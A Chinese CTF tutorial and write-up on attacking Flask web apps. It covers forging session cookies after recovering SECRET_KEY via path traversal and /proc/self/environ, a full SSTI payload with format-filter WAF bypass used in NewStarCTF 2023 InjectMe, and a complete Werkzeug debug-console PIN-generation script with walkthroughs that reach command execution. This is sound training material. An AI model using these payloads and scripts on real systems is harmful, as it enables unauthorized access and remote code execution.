session伪造
相关知识
脚本使用
Flask 中的 session 是存储在客户端 cookie 中的,为 了防止存储在 cookie 中的 session 信息泄露,Flask 提供了对 session 的加密。如果 Flask 配置了 SECRET_KEY 属性,那么 Flask 会自动使用该密钥对 session 信息进行加密
第一次向服务器发送请求时,服务器会Set-cookie,值即为加密的session数据,后面的请求都会带上这个,我们可以利用脚本,模拟flask的加密过程,来加密我们自己构造的数据,就会造成安全问题
脚本地址如下:
https://github.com/noraj/flask-session-cookie-manager
该工具在py2和py3下好像有不同的用法,py3用法如下
加密:
python flask_session_cookie_manager3.py encode -s "123456" -t "{'name':'xiaoming'}"
encode 表示加密 -s 就是secret_key -t 是准备要加密的内容
解密(跟加密差不多):-c 后跟要解密的内容
python flask_session_cookie_manager3.py decode -s "123456" -c "eyJuYW1lIjoieGlhb21pbmcifQ.Zem-WQ.E4Ef53k1RSMlMyAYU_0k0X3Dyo4"
加密解密这两个操作都需要secret_key,所以session伪造题目的关键就在于找到secret_key
寻找key
1.源码,config.py或其他地方泄露(信息泄露)
2.linux环境下,有虚拟文件系统存放了一些虚拟文件,位于/proc/中,存储的是当前内核运行状态的一系列特殊文件,用户可以通过这些文件查看有关系统硬件及当前正在运行进程的信息,甚至可以通过更改其中某些文件来改变内核的运行状态,大多数虚拟文件可以使用文件查看命令如cat、more或者less进行查看,有一些文件可能不具备可读性
proc这个目录下还有很多其他目录,名字为进程的pid,存放了各个进程所需的一些文件和环境变量,但我们一般也不知道网站进程的pid,但我们可以使用/proc/self,这个表示当前进程的目录,这下面有许多虚拟文件可以利用,
cmdline
cmdline存放的是这个进程的启动命令,查看:
cat /proc/self/cmdline
通常可以查看这个文件,来知道网站应用的所在路径或文件名
cwd
cwd 文件是一个指向当前进程运行目录的符号链接。可以通过查看cwd文件获取目标指定进程环境的运行目录,
ls -l /proc/self/cwd
exe
exe 是一个指向启动当前进程的可执行文件(完整路径)的符号链接。通过exe文件我们可以获得指定进程的可执行文件的完整路径
ls -al /proc/self/exe
environ
environ 文件存储着当前进程的环境变量列表,彼此间用空字符(NULL)隔开。变量用大写字母表示,其值用小写字母表示。可以通过查看environ目录来获取指定进程的环境变量信息,secret_key可能在这里可以找到
cat /proc/self/environ
fd
fd 是一个目录,里面包含着当前进程打开过的每一个文件的文件描述符(file descriptor),这些文件描述符是指向实际文件的一个符号链接,指向实际文件的真实路径。所以我们可以通过fd目录里的文件获得指定进程打开的每个文件的路径以及文件内容。
ls -al /proc/self/fd
!
实验学习
以一道例题,来学习session伪造
可以看到,购买flag需要1337美金,但是我们账户里只有1336美金,在前端没有发现能修改money的地方,用bp拦截一下数据包,看看哪里可以修改金额,
这item参数明显是商品序号,所以金额数据存储在加密的session中,所以现在就要找到secret_key,解密这个session,看看session的结构如何,在首页中看到
提示可以下载图片,点击下载,bp拦截,看看下载的路径
1.jpg换成…/…/…/etc/passwd,看看能不能目录穿越
穿越成功,读取/proc/self/cmdline,看看py文件的目录
尝试读取源码,发现失败,过滤了py字符
尝试读取环境变量,cat /proc/self/environ,看看有没有secret_key
发现了secret_key,解密之前拿到的session
python flask_session_cookie_manager3.py decode -s "goodgoodstudydaydayup" -c "eyJiYWxhbmNlIjoxMzM2LCJwdXJjaGFzZXMiOltdfQ.Zer8qQ.uRLlI7cIjp9PdN_aOj_m4Uia5CY"
很明显,balance就是我们的金额,改为9999
python flask_session_cookie_manager3.py encode -s "goodgoodstudydaydayup" -t "{'balance': 9999, 'purchases': []}"
再次购买,把我们自己的session复制过去
实验成功
题目实战
NewStarCTF 2023 InjectMe
题目给了很多图片可以用来下载,看到110.jpg时,就是下面这个泄露了download路由源码的图片
把…/替换为空防止目录穿越,可以双写绕过,题目也给了dockerfile,
FROM vulhub/flask:1.1.1
ENV FLAG=flag{not_here}
COPY src/ /app
RUN mv /app/start.sh /start.sh && chmod 777 /start.sh
CMD [ "/start.sh" ]
EXPOSE 8080
可以猜到,运行的py应用文件应该在/app/app.py,尝试读取
读取成功,源码为:
import os
import re
from flask import Flask, render_template, request, abort, send_file, session, render_template_string
from config import secret_key
app = Flask(__name__)
app.secret_key = secret_key
@app.route('/')
def hello_world(): # put application's code here
return render_template('index.html')
@app.route("/cancanneed", methods=["GET"])
def cancanneed():
all_filename = os.listdir('./static/img/')
filename = request.args.get('file', '')
if filename:
return render_template('img.html', filename=filename, all_filename=all_filename)
else:
return f"{str(os.listdir('./static/img/'))} <br> <a href=\"/cancanneed?file=1.jpg\">/cancanneed?file=1.jpg</a>"
@app.route("/download", methods=["GET"])
def download():
filename = request.args.get('file', '')
if filename:
filename = filename.replace('../', '')
filename = os.path.join('static/img/', filename)
print(filename)
if (os.path.exists(filename)) and ("start" not in filename):
return send_file(filename)
else:
abort(500)
else:
abort(404)
@app.route('/backdoor', methods=["GET"])
def backdoor():
try:
print(session.get("user"))
if session.get("user") is None:
session['user'] = "guest"
name = session.get("user")
if re.findall(
r'__|{{|class|base|init|mro|subclasses|builtins|globals|flag|os|system|popen|eval|:|\+|request|cat|tac|base64|nl|hex|\\u|\\x|\.',
name):
abort(500)
else:
return render_template_string(
'竟然给<h1>%s</h1>你找到了我的后门,你一定是网络安全大赛冠军吧!😝 <br> 那么 现在轮到你了!<br> 最后祝您玩得愉快!😁' % name)
except Exception:
abort(500)
@app.errorhandler(404)
def page_not_find(e):
return render_template('404.html'), 404
@app.errorhandler(500)
def internal_server_error(e):
return render_template('500.html'), 500
if __name__ == '__main__':
app.run('0.0.0.0', port=8080)
可以看到有ssti注入漏洞,但注入前要绕过session验证,所以要利用脚本来伪造session,读取config.py,发现secret_key如下:
secret_key = "y0u_n3ver_k0nw_s3cret_key_1s_newst4r"
ssti注入,可以利用{%%}绕过过滤{{,再用format过滤器绕过关键字过滤即可 ,ls / payload生成session的命令如下:
注意转义' "
,我在加密这里卡了好一会,老是报不合规范的错误,还是太菜了
python flask_session_cookie_manager3.py encode -s "y0u_n3ver_k0nw_s3cret_key_1s_newst4r" -t "{'user':'{% print(lipsum[\'%c%c%c%c%c%c%c%c%c%c%c\'|format(95,95,103,108,111,98,97,108,115,95,95)][\'%c%c%c%c%c%c%c%c%c%c%c%c\'|format(95,95,98,117,105,108,116,105,110,115,95,95)][\'%c%c%c%c%c%c%c%c%c%c\'|format(95,95,105,109,112,111,114,116,95,95)](\'%c%c\'|format(111,115))[\'%c%c%c%c%c\'|format(112,111,112,101,110)](\'%c%c%c%c\'|format(108,115,32,47))[\'%c%c%c%c\'|format(114,101,97,100)]())%}'}"
找到flag,直接查看
命令:
python flask_session_cookie_manager3.py encode -s "y0u_n3ver_k0nw_s3cret_key_1s_newst4r" -t "{'user':'{% print(lipsum[\'%c%c%c%c%c%c%c%c%c%c%c\'|format(95,95,103,108,111,98,97,108,115,95,95)][\'%c%c%c%c%c%c%c%c%c%c%c%c\'|format(95,95,98,117,105,108,116,105,110,115,95,95)][\'%c%c%c%c%c%c%c%c%c%c\'|format(95,95,105,109,112,111,114,116,95,95)](\'%c%c\'|format(111,115))[\'%c%c%c%c%c\'|format(112,111,112,101,110)](\'%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c\'|format(99,97,116,32,47,121,48,85,51,95,102,49,52,103,95,49,115,95,104,51,114,101))[\'%c%c%c%c\'|format(114,101,97,100)]())%}'}"
成功!
PIN码伪造
相关知识
py的flask应用,开启debug模式后,在原来的url后跟/console,可以进入python的shell,但进入这个shell需要密码,就是PIN码
这个PIN码在启动应用时就会给出,输入后,进入py shell,但是不能用system执行命令,估计也是有沙箱限制,跟ssti一样用popen来执行命令
跟session一样,这个我们也是通过脚本伪造,脚本如下
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb' # 1.username
'flask.app', # 2.modname
'Flask', # 3. appname getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.7/site-packages/flask/app.py' # 4.getattr(mod, '__file__', None),
]
private_bits = [
'130771165565282', # 5.str(uuid.getnode()), /sys/class/net/ens33/address
'1408f836b0ca514d796cbf8960e45fa1' #6. machine-id get_machine_id(), /etc/machine-id
]
# py<=3.7是md5,3.8以后是sha1
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
**关键参数是就是,probably_public_bits和private_bits的总共6个参数,按注释中的顺序来解析
参数 | 如何获取 |
---|---|
1.username | 读取/etc/passwd |
2.modname | 默认为flask.app |
3.appname | 默认为Flask |
4.flask的app.py路径 | debug报错信息中获得 |
5.py<=3.7
,为机器mac地址的十进制,读取/sys/class/net/ens33(网卡)/address获得,否则要import uuid,执行uuid.getnode(),配合ssti或其他py rce
6.machine-id, 非docker环境下读取/etc/machine-id即可,docker环境读取/proc/self/cgroup,读取/docker后面的字符串
可以知道,上面的参数存放在不同的位置,所以要配合任意文件读取来进行
还有加密方法,3.8以前是md5,3.8及以后是sha1
实验学习
起一个py3.7的docker,和一个我自己的py3.8虚拟机来学习
docker就是buuctf上的flaskapp题目
Py3.8虚拟机
使用之前的ssti环境,
1.获取启动应用的系统用户, cat /etc/passwd —> daydayup
一般来说,找普通用户就可以,有时可能是root用户
2.modname,appname,使用默认值
3.查看app.py路径,输入不合法数据,查看报错信息—> /usr/local/lib/python3.8/dist-packages/flask/app.py
4.获取uuid,3.8环境,要执行uuid.getnode()—> 166720968994102
5.获取machine-id,查看/etc/machine-id —>23856b906b0544d89c4f5b3ae2acb24a
要素已全,脚本生成
尝试使用这个PIN码进入控制台
进入成功!
py3.6docker
起一个flaskapp的docker
在提示页面的源码中,提示PIN,所以可以尝试伪造PIN,这题也可以直接ssti读取flag
在base64解码中有ssti漏洞,经测试16进制编码可绕过waf,看看源码
from flask import Flask, render_template_string, request, flash, redirect, url_for
from flask_wtf import FlaskForm
from wtforms import StringField, SubmitField
from wtforms.validators import DataRequired
from flask_bootstrap import Bootstrap
import base64
app = Flask(__name__)
app.config['SECRET_KEY'] = 's_e_c_r_e_t_k_e_y'
bootstrap = Bootstrap(app)
class NameForm(FlaskForm):
text = StringField('BASE64加密', validators=[DataRequired()])
submit = SubmitField('提交')
class NameForm1(FlaskForm):
text = StringField('BASE64解密', validators=[DataRequired()])
submit = SubmitField('提交')
def waf(str):
black_list = ["flag", "os", "system", "popen", "import", "eval", "chr", "request",
"subprocess", "commands", "socket", "hex", "base64", "*", "?"]
for x in black_list:
if x in str.lower():
return 1
@app.route('/hint', methods=['GET'])
def hint():
txt = "失败乃成功之母!!"
return render_template("hint.html", txt=txt)
@app.route('/', methods=['POST', 'GET'])
def encode():
if request.values.get('text'):
text = request.values.get("text")
text_decode = base64.b64encode(text.encode())
tmp = "结果: {0}".format(str(text_decode.decode()))
res = render_template_string(tmp)
flash(tmp)
return redirect(url_for('encode'))
else:
text = ""
form = NameForm(text)
return render_template("index.html", form=form, method="加密", img="flask.png")
@app.route('/decode', methods=['POST', 'GET'])
def decode():
if request.values.get('text'):
text = request.values.get("text")
text_decode = base64.b64decode(text.encode())
tmp = "结果:{0}".format(text_decode.decode())
if waf(tmp):
flash("no no no !!")
return redirect(url_for('decode'))
res = render_template_string(tmp)
flash(res)
return redirect(url_for('decode'))
else:
text = ""
form = NameForm1(text)
return render_template("index.html", form=form, method="解密", img="flask1.png")
@app.route('/<name>', methods=['GET'])
def not_found(name):
return render_template("404.html", name=name)
if __name__ == '__main__':
app.run(host="0.0.0.0", port=5000, debug=True)
还是禁了很多关键字的,format过滤器也可以绕过,其实都可以拼接绕过,
1.查看/etc/passwd,看看普通用户,得到为 flaskweb
2.modname,appname,用默认值
3.解码输入abc,在报错信息中查看app.py路径,得到为: /usr/local/lib/python3.7/site-packages/flask/app.py
4.同时也得知,py版本是3.7,所以uuid就是机器的MAC地址,查看/sys/class/net/eth0/address,得到02:42:ac:12:00:02,转为10进制,
得到2485377957890
5.获取machine-id,由于是docker环境,查看/proc/self/cgroup,定位输出内容中/docker后面的字符串,得到9648539a78c54c92ebd6a9f92a4869b9859ba1282aa8225b4fc28556524bb672
要素已全,尝试生成PIN
尝试进入console,
进入成功,执行命令
成功